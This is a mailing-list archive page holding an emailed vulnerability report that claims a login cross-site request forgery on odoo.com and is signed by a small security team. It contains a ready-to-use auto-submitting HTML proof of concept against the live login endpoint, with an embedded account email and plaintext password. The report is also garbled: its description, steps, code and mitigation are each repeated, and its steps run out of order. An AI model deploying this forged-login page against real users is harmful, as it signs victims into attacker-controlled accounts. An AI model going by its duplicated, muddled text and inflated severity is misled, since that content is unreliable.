- Mailing Lists
- in
- Vulnerability Report 03:No CSRF protection on login
Archives
- By thread 3425
-
By date
- June 2021 10
- July 2021 6
- August 2021 20
- September 2021 21
- October 2021 48
- November 2021 40
- December 2021 23
- January 2022 46
- February 2022 80
- March 2022 109
- April 2022 100
- May 2022 97
- June 2022 105
- July 2022 82
- August 2022 95
- September 2022 103
- October 2022 117
- November 2022 115
- December 2022 102
- January 2023 88
- February 2023 90
- March 2023 116
- April 2023 97
- May 2023 159
- June 2023 145
- July 2023 120
- August 2023 90
- September 2023 102
- October 2023 106
- November 2023 100
- December 2023 74
- January 2024 75
- February 2024 75
- March 2024 78
- April 2024 74
- May 2024 108
- June 2024 98
- July 2024 116
- August 2024 134
- September 2024 93
Vulnerability Report 02: Failure to invalidate session on Password Change
New List OF UK USA Blogs Just $80/Post
Vulnerability Report 03:No CSRF protection on login
Vulnerability: No CSRF protection on login.
Level: Critical
Description:
The login form is not protected against Cross-Site Request Forgery.
An attacker can craft an HTML page containing POST information to have the victim sign into an attacker's account, where the victim can add information assuming he/she is logged into the correct account, where in reality, the victim is signed into the attacker's account where the changes are visible to the attacker. The real issue here is that when the victim runs the HTML Proof of Concept, the account is logged in to the attacker without any visible warnings, thus the victim is capable of theft of data and potentially vulnerable to account takeover.
Steps to reproduce:
1. Create a victim account. (Google Chrome)
2. Create an attacker account. (Firefox)
An attacker can craft an HTML page containing POST information to have the victim sign into an attacker's account, where the victim can add information assuming he/she is logged into the correct account, where in reality, the victim is signed into the attacker's account where the changes are visible to the attacker. The real issue here is that when the victim runs the HTML Proof of Concept, the account is logged in to the attacker without any visible warnings, thus the victim is capable of theft of data and potentially vulnerable to account takeover.
Steps to reproduce:
1. Create a victim account. (Google Chrome)
2. Create an attacker account. (Firefox)
3. Now intercept the attacker browser's request and save it as . HTML.
4. Now run that POC in the victim's browser and press submit.
5. On the victim's browser, he/she is logged in as an attacker without any indication unless the page is manually refreshed.
4. Now run that POC in the victim's browser and press submit.
5. On the victim's browser, he/she is logged in as an attacker without any indication unless the page is manually refreshed.
Proof of concept:
<html>
<body>
<form action="https://www.odoo.com/web/login" method="POST">
<input type="hidden" name="utc_offset" value="-300" />
<input type="hidden" name="email" value="abul37772@gmail.com" />
<input type="hidden" name="password" value="Testing123@#$" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<body>
<form action="https://www.odoo.com/web/login" method="POST">
<input type="hidden" name="utc_offset" value="-300" />
<input type="hidden" name="email" value="abul37772@gmail.com" />
<input type="hidden" name="password" value="Testing123@#$" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Mitigation:
You are using an authenticity token to prevent this but it is not validating so add a valid CSRF token and token verification method to the login request or make some type of prompt that the session has ended when the new login from the attacker occurs.
You are using an authenticity token to prevent this but it is not validating so add a valid CSRF token and token verification method to the login request or make some type of prompt that the session has ended when the new login from the attacker occurs.
If you have any questions, please feel free to contact me. I'll be more than happy to assist you.
I look forward to hearing from you soon
Thanks and Regards
Team Star jet Cyber,
Afshan
by "starjet cyber" <starjetcyber22@gmail.com> - 10:19 - 12 Aug 2024